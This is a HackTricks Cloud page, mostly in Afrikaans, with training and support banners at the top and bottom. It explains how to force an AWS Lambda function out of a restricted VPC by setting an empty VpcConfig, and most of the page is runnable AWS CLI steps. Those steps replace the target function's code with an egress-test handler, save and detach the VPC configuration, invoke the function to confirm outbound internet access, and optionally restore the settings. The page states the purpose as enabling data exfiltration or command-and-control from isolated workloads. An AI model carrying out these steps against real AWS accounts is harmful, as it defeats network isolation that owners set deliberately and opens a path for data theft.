AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Dwing ’n Lambda-funksie uit ’n beperkte VPC deur die konfigurasie na ’n leë VpcConfig by te werk (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, herwin uitgaande internettoegang en egress-beheer wat deur privaat VPC-subnets sonder NAT afgedwing is, omseil.
Abusing it
- Pre-reqs: lambda:UpdateFunctionConfiguration op die teikenfunksie (en lambda:InvokeFunction om te valideer), plus permitte om code/handler op te dateer indien jy dit verander.
- Assumptions: Die funksie is tans gekonfigureer met VpcConfig wat na privaat subnets sonder NAT wys (dus uitgaande internet is geblokkeer).
- Region: us-east-1
Steps
- Berei ’n minimale handler voor wat bewys dat uitgaande HTTP werk
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- Neem huidige VPC-konfigurasie op (om later te herstel indien nodig)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Ontkoppel die VPC deur leë lyste te stel
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- Roep aan en verifieer uitgaande toegang
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Herstel oorspronklike VpcConfig
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
Impact
- Herwin onbeperkte uitgaande internettoegang vanaf die funksie, wat data-exfiltrasie of C2 moontlik maak vanaf workloads wat doelbewus geïsoleer is in privaat subnets sonder NAT.
Example output (after detaching VpcConfig)
{“egress”: true, “ip”: “34.x.x.x”}
Cleanup
- As jy enige tydelike code/handler-wijzigings geskep het, herstel dit.
- Opsioneel herstel die oorspronklike VpcConfig wat in /tmp/orig-vpc.json gestoor is soos hierbo getoon.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

